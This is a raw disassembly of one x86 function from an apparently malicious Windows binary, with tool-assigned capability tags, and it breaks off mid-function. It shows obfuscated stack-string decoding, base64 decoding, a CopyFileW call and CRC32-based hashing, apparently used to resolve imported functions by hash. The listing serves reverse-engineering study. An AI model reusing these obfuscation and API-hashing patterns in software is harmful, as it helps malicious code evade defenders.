Function at 0x427b96
Capabilities:
Contain obfuscated stackstrings
Copy file
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x44c
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x4c], 0xe376e173
mov dword [esp + 0x50], 0xe747e541
mov dword [esp + 0x54], 0xdb84d945
mov dword [esp + 0x58], 0xdf56dd79
mov dword [esp + 0x5c], 0xd3d2d175
mov word [esp + 0x60], 0
mov byte [esp + 0x62], 0
mov eax, 0xa8
mov ecx, 0x7bdd1858
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x7bdd180c]
mov edx, ecx
and edx, esi
add edx, edx
sub edx, esi
add edx, eax
add edx, 0x8422e6ff
and edx, ecx
mov edi, edx
and edi, 2
mov ebx, edx
or edx, 2
imul edx, edi
xor edi, 2
and ebx, 0x7bdd187d
imul ebx, edi
add edx, ebx
lea edi, [eax + edx]
xor edi, esi
not edx
add edx, ecx
and edx, esi
add edx, edx
sub edx, edi
add dl, 0x48
mov byte [esp + ecx - 0x7bdd180c], dl
dec eax
inc ecx
cmp eax, 0x91
jne case.default.0x42723a
lea ebx, [esp + 0x4c]
lea ecx, [esp + 0x28]
push ebx
call fcn.0043b480
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x447b1c]
lea ecx, [esp + 0x28]
push 0x410
call fcn.0043b700
not eax
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x447b24]
mov dword [esp + 0x4c], 0x2ac33825
mov dword [esp + 0x50], 0x302acd20
mov dword [esp + 0x54], 0x2c2523c1
mov dword [esp + 0x58], 0xd73e26c5
mov dword [esp + 0x5c], 0x20dbd2c6
mov dword [esp + 0x60], 0x3fdcd6dd
mov dword [esp + 0x64], 0x3239de3a
mov dword [esp + 0x68], 0x36df34d3
mov dword [esp + 0x6c], 0xa6b0b6b2
mov dword [esp + 0x70], 0x4ea395b1
mov dword [esp + 0x74], 0xeb9aa1a1
mov eax, 0x84b15a20
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x7b4ea62c]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x60
mov byte [esp + eax + 0x7b4ea62c], cl
inc eax
cmp eax, 0x84b15a4c
jne 0x4272c0
lea eax, [esp + 0x40]
lea ecx, [esp + 0x28]
push 0
push 0x2b
push ebx
push eax
call fcn.0043bb90
mov ebp, dword [esp + 0x40]
mov edi, dword [esp + 0x44]
xor eax, eax
cmp ebp, edi
sete al
mov dword [esp + 0x14], edi
jmp dword [eax*4 + 0x447b2c]
mov eax, edi
sub eax, ebp
sar eax, 2
imul eax, eax, 0x421
push eax
call fcn.00408590
add esp, 4
mov dword [esp + 0x24], 0
xor ecx, ecx
cmp ebp, edi
setne cl
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], eax
jmp dword [ecx*4 + 0x447b34]
mov ecx, dword [esp + 0x24]
mov eax, ecx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x447b4c]
jmp dword [0x447bac]
add ebp, 4
xor eax, eax
mov edi, dword [esp + 0x14]
cmp ebp, edi
setne al
jmp dword [eax*4 + 0x447b34]
mov esi, dword [ebp]
push 0x400
push 0
push ebx
call fcn.00408720
add esp, 0xc
lea eax, [esp + 0xc]
lea ecx, [esp + 0x28]
push eax
push 0x400
push ebx
push esi
call fcn.0043baf0
cmp eax, 0xc0000000
setae al
cmp dword [esp + 0xc], 0
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447b54]
mov eax, 1
jmp dword [eax*4 + 0x447b5c]
xor eax, eax
jmp dword [eax*4 + 0x447b5c]
mov byte [esp + 0x44b], 0
movzx eax, byte [esp + 0x4c]
xor edx, edx
test al, al
je 0x427401
mov ecx, ebx
nop
nop
cmp al, 0x2e
je 0x4273ff
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x4273f0
jmp 0x427401
mov edx, ecx
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x447b64]
movzx eax, byte [edx + 1]
inc edx
xor edi, edi
test al, al
je 0x427431
mov ecx, edx
nop
nop
nop
nop
cmp al, 0x2e
je 0x42742f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x427420
jmp 0x427431
mov edi, ecx
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x447b6c]
mov ecx, edi
sub ecx, edx
lea ebx, [ecx + ecx*2]
shr ebx, 2
mov eax, ecx
and eax, 0xfffffffe
add eax, eax
mov dword [esp + 4], ecx
xor ecx, 1
sub eax, ecx
movzx eax, byte [edx + eax]
cmp eax, 0x3d
je 0x427467
cmp eax, 0x2e
jne 0x427468
dec ebx
mov eax, dword [esp + 4]
movzx eax, byte [edx + eax - 2]
cmp eax, 0x3d
mov dword [esp + 0x3c], ebp
je 0x42747f
cmp eax, 0x2e
jne 0x427484
mov esi, edx
dec ebx
jmp 0x427486
mov esi, edx
mov dword [esp + 0x38], ebx
lea eax, [ebx + 1]
push eax
call fcn.00408590
add esp, 4
mov dword [esp + 0x1c], eax
mov ebp, esi
cmp edi, esi
mov esi, dword [esp + 4]
je 0x4275a3
xor ebx, ebx
mov edi, 2
mov dword [esp + 0x20], ebp
jmp 0x4274da
mov ecx, esi
mov ebx, ebp
lea eax, [edi + 4]
add edi, 2
cmp edi, ecx
mov edi, eax
mov ebp, dword [esp + 0x20]
mov esi, ecx
jae 0x4275a3
movzx eax, byte [ebp + edi - 2]
push eax
call fcn.0041e050
add esp, 4
mov byte [esp + 8], al
movzx eax, byte [ebp + edi - 1]
push eax
call fcn.0041e050
add esp, 4
movzx edx, byte [esp + 8]
shl dl, 2
mov ecx, eax
shr cl, 4
and cl, 3
or cl, dl
lea ebp, [ebx + 1]
mov dword [esp + 8], ebx
mov edx, dword [esp + 0x1c]
mov byte [edx + ebx], cl
cmp edi, esi
jae 0x4274c0
mov byte [esp + 3], al
mov eax, dword [esp + 0x20]
movzx eax, byte [eax + edi]
push eax
call fcn.0041e050
mov ecx, dword [esp + 8]
add esp, 4
cmp al, 0x40
mov ebx, ebp
je 0x4274c4
mov bh, byte [esp + 3]
shl bh, 4
mov edx, eax
shr dl, 2
and dl, 0xf
or dl, bh
mov esi, dword [esp + 8]
lea ebx, [esi + 2]
mov ebp, dword [esp + 0x1c]
mov byte [ebp + esi + 1], dl
lea edx, [edi + 1]
cmp edx, ecx
jae 0x4274c4
mov byte [esp + 3], al
mov eax, dword [esp + 0x20]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.0041e050
add esp, 4
cmp al, 0x40
je 0x42759a
mov ecx, esi
and ecx, 1
or ebx, 1
add ebx, ecx
movzx ecx, byte [esp + 3]
shl cl, 6
add al, cl
mov byte [ebp + esi + 2], al
mov ecx, dword [esp + 4]
jmp 0x4274c4
mov eax, dword [esp + 0x38]
mov edi, dword [esp + 0x1c]
mov byte [edi + eax], 0
push edi
call fcn.00401000
add esp, 4
mov esi, eax
jmp dword [0x447b74]
jmp dword [0x447b80]
lea ebx, [esp + 0x4c]
mov edi, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
movzx eax, byte [esp + 0x4c]
test al, al
je 0x4275eb
lea ecx, [esp + 0x4d]
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4275e0
mov byte [edx], 0xa
inc edx
mov dword [esp + 0x10], edx
mov al, 1
mov dword [esp + 0x24], eax
jmp 0x4276a8
mov dword [esp + 0xc], 0x51ecf8f9
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx + 0xc]
lea edx, [ecx - 0x4d8dd313]
lea ebx, [ecx + 0xed]
or ebx, edx
or edx, edi
and ebx, edi
sub edx, ebx
mov edi, edx
and edi, 0x5e
mov ebx, edx
xor ebx, 0x5e
lea ebx, [ebx + edi*2]
and edx, 1
or ebx, 1
add ebx, edx
mov byte [esp + ecx + 0xc], bl
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
cmp ecx, 4
jb case.default.0x427667
lea ecx, [esp + 0xc]
push ecx
push eax
call fcn.004018f0
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447b94]
movzx ecx, byte [eax]
test cl, cl
mov edx, dword [esp + 0x10]
je 0x42768b
inc eax
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x427680
mov word [edx], 0x203a
add edx, 2
lea ebx, [esp + 0x4c]
mov edi, dword [esp + 0x14]
jmp 0x4275d2
lea ebx, [esp + 0x4c]
mov edi, dword [esp + 0x14]
push esi
call fcn.00401c20
add esp, 4
add ebp, 4
xor eax, eax
cmp ebp, edi
setne al
jmp dword [eax*4 + 0x447b34]
push edi
call fcn.004085a0
add esp, 4
push edi
call fcn.004085a0
add esp, 4
jmp dword [0x447b84]
push esi
call fcn.004019a0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov ebp, dword [esp + 0x3c]
jmp dword [ecx*4 + 0x447b8c]
xor ecx, ecx
test ebp, ebp
jne 0x427833
jmp case.0x42723a.2
mov edx, dword [esp + 0x10]
mov byte [edx], 0
mov esi, edx
not esi
mov ecx, dword [esp + 0x18]
mov eax, ecx
not eax
and eax, edx
mov dword [esp + 0x4c], 0xefd2d101
mov dword [esp + 0x50], 0xd3e7e6ed
mov dword [esp + 0x54], 0xd8e4e6e1
mov dword [esp + 0x58], 0xeadafe23
mov dword [esp + 0x5c], 0x7dd1c11
mov dword [esp + 0x60], 0x19131e1b
mov dword [esp + 0x64], 0x232ed72b
mov word [esp + 0x68], 0xbd28
mov dword [esp + 0x6a], 0
mov word [esp + 0x6e], 0
and esi, ecx
mov dword [esp + 8], esi
mov edx, 0xf2ffab76
mov esi, 0xe5ff56ec
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + edx + 0xd0054d6]
mov ebx, esi
and ebx, 0x455b55e0
mov edi, edx
xor edi, 0xa6adaef0
add edi, ebx
mov ebx, edi
and ebx, 0x80ad0b76
xor ebx, 0xe2ffab76
and edi, 0x9005089
sub edi, ebx
xor edi, ecx
mov ebx, edi
not ebx
and ebx, 1
mov ebp, 0x41646ab0
sub ebp, edi
add edi, 0x4f
mov ecx, ebp
not ecx
and ebp, 0xb2
and edi, 0x4d
or edi, ebp
xor edi, 0xb3
and ecx, 1
or ecx, edi
add ecx, ebx
mov byte [esp + edx + 0xd0054d6], cl
inc edx
add esi, 2
cmp edx, 0xf2ffab9a
jne 0x427780
sub eax, dword [esp + 8]
lea edx, [esp + 0x4c]
mov ecx, dword [esp + 0x460]
push eax
push dword [esp + 0x1c]
push edx
call fcn.00409490
mov ecx, eax
jmp dword [0x447bac]
push dword [esp + 0x18]
mov esi, ecx
call fcn.004085a0
mov ecx, esi
add esp, 4
and cl, 1
mov ebp, dword [esp + 0x40]
mov edi, dword [esp + 0x44]
test ebp, ebp
je case.0x42723a.2
cmp ebp, edi
je case.0x42723a.2
push ebp
mov esi, ecx
call fcn.004085a0
mov ecx, esi
add esp, 4
mov ebx, ecx
lea ecx, [esp + 0x28]
call fcn.0043b820
mov eax, ebx
add esp, 0x44c
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, esi
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x427a20
sub eax, esi
cmp eax, 0xffffffd9
jge 0x427a4d
mov eax, 0xffffffff
jmp 0x427a50
jmp dword [0x447bc8]
xor eax, eax
jmp 0x428cd3
add eax, 0x26
push eax
call fcn.00408590
add esp, 4
mov dword [esp + 0x18], eax
mov dword [esp + 0x24], 0xf749f95c
mov dword [esp + 0x28], 0xf340f547
mov dword [esp + 0x2c], 0xcf77f14a
mov dword [esp + 0x30], 0xcb6ecd77
mov dword [esp + 0x34], 0xc775c977
mov dword [esp + 0x38], 0xc378c576
mov dword [esp + 0x3c], 0xdf65c179
mov dword [esp + 0x40], 0xdb50ddae
mov dword [esp + 0x44], 0xd76cd964
mov dword [esp + 0x48], 0xd5d4
mov edx, 0xb9c456d6
mov ebp, 0x463ba929
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx + 0x463ba94e]
mov ebx, edi
xor ebx, edx
or ebx, ebp
mov eax, ebx
or al, 2
inc al
mov ecx, ebx
shr cl, 1
and cl, 1
mul cl
mov ecx, eax
add cl, al
mov eax, edi
add cl, al
test bl, 2
sete al
not bl
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0xd2
mov byte [esp + edx + 0x463ba94e], al
inc edx
dec ebp
cmp edx, 0xb9c456fe
jne 0x427ac0
movzx ecx, word [esi]
mov ebp, dword [esp + 0x18]
mov eax, ebp
test cx, cx
je 0x427b41
mov edx, esi
add edx, 2
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427b30
mov word [eax], 0
movzx ecx, word [esp + 0x24]
test cx, cx
lea edi, [esp + 0x24]
je 0x427b71
lea edx, [esp + 0x26]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427b60
mov word [eax], 0
jmp dword [0x447bcc]
push esi
call fcn.004085a0
add esp, 4
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x447bd4]
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x447bd4]
mov dword [esp + 0x24], 0x13481153
mov dword [esp + 0x28], 0x1f7d1d78
mov dword [esp + 0x2c], 0x1b8c198f
mov dword [esp + 0x30], 0x76f056a
mov dword [esp + 0x34], 0x366016f
mov dword [esp + 0x38], 0xf990d6f
mov dword [esp + 0x3c], 0xb64099e
mov dword [esp + 0x40], 0x3759355d
mov dword [esp + 0x44], 0x33ac3166
mov dword [esp + 0x48], 0x3f503d50
mov word [esp + 0x4c], 0x3938
mov dword [esp + 0x4e], 0
mov word [esp + 0x52], 0
mov eax, 0xf4ded704
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0xb212920]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0xec
mov byte [esp + eax + 0xb212920], cl
inc eax
cmp eax, 0xf4ded734
jne 0x427c20
push 0
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
lea eax, [esp + 0xb8]
push eax
push ebp
call fcn.00440330
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447bdc]
xor edi, edi
xor ebx, ebx
jmp dword [0x447c2c]
push ebp
call fcn.004085a0
add esp, 4
xor eax, eax
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x447c34]
xor eax, eax
jmp 0x428cde
lea eax, [esp + 0x94]
push 0
push eax
push dword [esp + 0xb4]
call fcn.00440670
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x447be4]
mov esi, dword [esp + 0x94]
lea eax, [esi + 1]
push eax
call fcn.00408590
add esp, 4
push 0
push esi
mov dword [esp + 0x18], eax
push eax
push dword [esp + 0xb8]
call fcn.00440740
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x447bec]
mov esi, dword [esp + 0x94]
mov ebx, dword [esp + 0x10]
mov byte [ebx + esi], 0
push 0x20
call fcn.00408590
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x78], eax
mov ecx, eax
push esi
push ebx
call fcn.0042a790
movzx eax, al
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x447bf4]
mov ebp, dword [esp + 0x78]
jmp dword [0x447bfc]
mov dword [esp + 0x24], 0xada0aa91
mov dword [esp + 0x28], 0xa6a8b851
mov dword [esp + 0x2c], 0xadb5b9ed
mov dword [esp + 0x30], 0x80e7ac5a
mov dword [esp + 0x34], 0x9a8d90a0
mov dword [esp + 0x38], 0x888ba8d9
mov dword [esp + 0x3c], 0x9590689d
mov dword [esp + 0x40], 0xe795
mov eax, 0xcf
mov ecx, 0x30
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0xab]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 0xf5
mov byte [esp + eax - 0xab], dl
inc eax
dec ecx
cmp eax, 0xef
jne 0x427dc0
mov ecx, ebp
push edi
call fcn.0042a980
nop
nop
nop
nop
nop
mov dword [esp + 0x24], 0xada0aa91
mov dword [esp + 0x28], 0xa6a8b851
mov dword [esp + 0x2c], 0xadb5b9ed
mov dword [esp + 0x30], 0x80e7ac5a
mov dword [esp + 0x34], 0x9a8d90a0
mov dword [esp + 0x38], 0x888ba8d9
mov dword [esp + 0x3c], 0x9590689d
mov dword [esp + 0x40], 0xe795
mov eax, 0xcf
mov ecx, 0x30
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0xab]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 0xf5
mov byte [esp + eax - 0xab], dl
inc eax
dec ecx
cmp eax, 0xef
jne 0x427e40
mov ecx, ebp
push edi
call fcn.0042a980
jmp dword [0x447c04]
xor ecx, ecx
test eax, eax
setne cl
xor ebp, ebp
jmp dword [ecx*4 + 0x447c0c]
jmp dword [0x447c1c]
mov esi, dword [esp + 0x78]
mov ecx, esi
call fcn.0042aaf0
push esi
call fcn.004085a0
add esp, 4
jmp dword [0x447c24]
jmp 0x427eb5
jmp dword [0x447c24]
push dword [esp + 0x10]
call fcn.004085a0
add esp, 4
mov edi, ebx
mov eax, dword [esp + 0xac]
mov dword [esp + 0x24], 0xf0fffefd
mov byte [esp + 0x28], 0
mov ecx, 0x55
mov edx, 0xaa
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 0x81
mov ebx, ecx
and ebx, 0x4e
or ebx, esi
xor bl, byte [esp + ecx - 0x31]
xor bl, 0x91
add bl, 0x57
mov byte [esp + ecx - 0x31], bl
inc ecx
dec edx
cmp ecx, 0x5a
jne 0x427ee0
mov ecx, dword [0x44cf3c]
test ecx, ecx
mov ebx, edi
je 0x427f3c
mov edx, dword [esp + 0x24]
xor esi, esi
mov edi, dword [0x44cf40]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x427f30
inc esi
cmp ecx, esi
jne 0x427f20
jmp 0x427f3c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42814e
mov edi, ebp
mov ebp, dword [esp + 0x18]
jmp dword [0x447c2c]
xor eax, eax
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x447c34]
mov dword [esp + 0xc], edi
mov dword [esp + 8], ebx
mov dword [esp + 0x24], 0x633e6145
mov dword [esp + 0x28], 0x6705651b
mov dword [esp + 0x2c], 0x7b067919
mov dword [esp + 0x30], 0x7f0e7d3d
mov dword [esp + 0x34], 0x73367100
mov dword [esp + 0x38], 0x77027515
mov dword [esp + 0x3c], 0x8baf89e9
mov dword [esp + 0x40], 0x8fdd8de0
mov dword [esp + 0x44], 0x83e781f4
mov dword [esp + 0x48], 0x87fb85e5
mov dword [esp + 0x4c], 0x9be699f4
mov dword [esp + 0x50], 0x9ffd9de3
mov dword [esp + 0x54], 0x93ee91f1
mov dword [esp + 0x58], 0x97e095aa
mov dword [esp + 0x5c], 0xabcca9cc
lea eax, [esp + 0x60]
mov word [esp + 0x60], 0xadac
mov dword [esp + 0x62], 0
mov word [esp + 0x66], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xe8
xor dl, byte [esp + ecx + 0x24]
add dl, 0x78
mov byte [esp + ecx + 0x24], dl
inc ecx
cmp ecx, 0x44
jne 0x428000
lea edx, [esp + 0x24]
mov ecx, 0xf
lea esi, [esp + 0xac]
mov edi, esi
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xe8]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea eax, [esp + 0xa0]
push eax
push 0
push 0
push 0x1e
push esi
push 0
call dword [0x44cf38]
mov dword [esp + 0x24], 0x8f4e492f
mov esi, 0xbb607cf2
mov edx, 0x49f830d
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + esi + 0x449f8332]
mov ebx, edi
and ebx, 0xc
xor ebx, 0x2f82640c
mov ebp, edi
xor ebp, 0x2f82640c
or edi, 0xf3
and edi, ebp
mov ebp, edx
and ebp, 0x482000c
mov ecx, esi
and ecx, 0x906018f3
or ecx, ebp
add ebx, edi
and edi, 0xc
sub ebx, edi
xor ebx, ecx
mov ecx, ebx
xor ecx, 0xbb
and ebx, 0x44
add ebx, ebx
sub ebx, ecx
inc bl
mov byte [esp + esi + 0x449f8332], bl
inc esi
dec edx
cmp esi, 0xbb607cf6
jne 0x428070
xor ecx, ecx
cmp eax, dword [esp + 0x24]
setne cl
xor eax, eax
mov ebx, dword [esp + 8]
mov edi, dword [esp + 0xc]
jmp dword [ecx*4 + 0x447c3c]
mov edi, dword [esp + 0xa0]
test edi, edi
jns 0x4280fc
mov eax, 0xffffffff
jmp 0x4280ff
lea eax, [edi + edi]
push eax
call fcn.00408590
add esp, 4
mov esi, eax
lea eax, [esp + 0xa0]
push eax
push edi
push esi
push 0x1e
lea eax, [esp + 0xbc]
push eax
push 0
call dword [0x44cf38]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447c44]
xor eax, eax
mov edi, dword [esp + 0xc]
jmp dword [0x447c4c]
jmp dword [0x447c54]
mov edi, dword [esp + 0xc]
jmp dword [0x447c68]
push eax
push 4
push ecx
push dword [0x44cf44]
call fcn.0043df80
add esp, 0x10
mov edi, ebp
mov ebp, dword [esp + 0x18]
jmp dword [0x447c2c]
add eax, 8
xor edi, edi
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor ebx, ebx
mov dword [esp + 0x20], 0
xor ebp, ebp
jmp dword [eax*4 + 0x447c14]
mov ebp, dword [esp + 0xc]
mov eax, dword [esp + 0x1c]
mov dword [ebp + eax + 4], edx
mov ebx, dword [esp + 8]
add ebx, 8
mov ecx, dword [esp + 4]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, ebp
jmp dword [eax*4 + 0x447c14]
mov dword [esp + 4], ecx
mov esi, dword [ecx]
mov ecx, ebx
sub ecx, edi
mov ebp, dword [esp + 0x20]
cmp ebx, ebp
mov dword [esp + 0x1c], ecx
je 0x4281db
mov dword [esp + 8], ebx
jmp 0x428299
mov eax, ecx
sar eax, 3
inc eax
mov ecx, ebp
mov dword [esp], edi
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x4281f7
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.00408590
add esp, 4
mov edi, eax
mov edx, dword [esp]
test edx, edx
je 0x42828a
mov dword [esp + 0x14], esi
mov dword [esp + 0x80], ebx
cmp edx, ebp
mov dword [esp + 0xc], edi
je 0x428272
mov ebx, ebp
mov eax, edx
not eax
mov dword [esp + 8], eax
mov ebp, edx
mov edi, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
and ecx, edx
mov edx, ebp
and edx, dword [esp + 8]
sub edx, ecx
mov ecx, dword [edi]
mov esi, dword [esp + 0xc]
mov dword [esi + edx], ecx
mov ecx, dword [edi + 4]
mov dword [esi + edx + 4], ecx
mov edx, dword [esp]
mov dword [edi], 0
add ebp, 8
add eax, 0xfffffff8
add edi, 8
cmp edi, ebx
jne 0x428240
push edx
call fcn.004085a0
add esp, 4
mov edi, dword [esp + 0xc]
mov ebx, dword [esp + 0x80]
mov esi, dword [esp + 0x14]
lea ebp, [edi + ebx*8]
mov eax, edi
mov ecx, dword [esp + 0x1c]
add eax, ecx
mov dword [esp + 8], eax
mov dword [esp + 0x20], ebp
mov dword [edi + ecx], 0
mov dword [edi + ecx + 4], 0
xor ebx, ebx
nop
nop
cmp byte [esi + ebx], 0
lea ebx, [ebx + 1]
jne 0x4282b0
push ebx
call fcn.00408590
add esp, 4
mov dword [esp + 0xc], edi
mov ecx, dword [esp + 0x1c]
mov dword [edi + ecx], eax
mov ecx, ebx
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, esi
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov ebp, edx
mov edi, eax
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
mov ecx, ebx
inc cl
test cl, 1
jne 0x428317
mov ecx, ebx
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
xor edx, edx
cmp ebx, 1
je 0x428190
mov edx, 0xffffffff
mov eax, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax - 1]
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edi, ecx
shr edi, 1
not ecx
mov edx, ecx
or edx, 1
sub ecx, edx
and ecx, 0xedb88320
mov edx, ecx
xor edx, edi
inc eax
cmp ebx, eax
jne 0x428330
not edx
jmp 0x428190
add ebp, 4
mov ebp, dword [ebp]
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x447c9c]
mov esi, dword [ebp]
cmp dword [ebp + 0x18], 3
mov edi, 0
jne case.default.0x428425
mov edi, dword [ebp + 0x10]
test esi, esi
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447ca4]
mov eax, edi
nop
nop
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x42847d
mov dword [esp + 0x78], ebp
mov dword [esp + 0x10], edx
sub ecx, edi
inc ecx
shr ecx, 1
mov dword [esp + 8], ebx
mov dword [esp + 0xa8], ecx
lea eax, [ecx + 1]
push eax
call fcn.00408590
add esp, 4
mov edx, eax
mov ecx, dword [case.0x42852a.100]
mov eax, dword [case.0x42852a.102]
mov dword [esp], eax
movsx ebp, byte [edi]
xor eax, eax
test ebp, ebp
setne al
mov dword [esp + 0x88], edx
jmp dword [eax*4 + 0x447cac]
mov byte [edx], 0
jmp 0x428491
inc esi
movzx ebx, byte [esi]
movzx eax, bl
lea ecx, [eax - 9]
cmp ecx, 5
jb 0x428490
cmp eax, 0x20
je 0x428490
mov ecx, ebx
add cl, 0xd5
xor eax, eax
test cl, 0xfd
sete al
lea ecx, [esi + eax]
cmp byte [esi + eax], 0x30
jne 0x4284cf
movzx ecx, byte [esi + eax + 1]
and cl, 0xdf
xor edx, edx
cmp cl, 0x58
sete dl
lea ecx, [eax + edx*2]
add ecx, esi
mov dword [esp + 0x1c], ecx
xor edx, edx
mov dword [esp], 0
xor ebp, ebp
jmp 0x4285b4
inc edx
movsx ebp, byte [edi]
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x447cac]
lea ebx, [ebp - 0x30]
cmp ebx, 0xa
jb 0x42850f
mov ebx, 0xffffffff
or ebp, 0x20
lea eax, [ebp - 0x61]
cmp eax, 6
jae case.default.0x42852a
add ebp, 0xffffffa9
mov ebx, ebp
movsx ebp, byte [edi + 1]
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x447cb4]
inc edi
jmp ecx
mov dword [esp + 0x1c], edi
mov edi, ecx
lea eax, [ebp - 0x30]
cmp eax, 0xa
jb 0x428553
mov eax, 0xffffffff
or ebp, 0x20
lea ecx, [ebp - 0x61]
cmp ecx, 6
jae 0x428563
add ebp, 0xffffffa9
mov eax, ebp
mov ecx, edi
shl ebx, 4
or ebx, eax
mov edi, dword [esp + 0x1c]
add edi, 2
jmp ecx
mov byte [edx], bl
jmp dword [esp]
mov byte [edx], bl
mov byte [edx], bl
jmp dword [esp]
mov dword [esp + 0x18], 0
xor esi, esi
mov eax, 0xffffffff
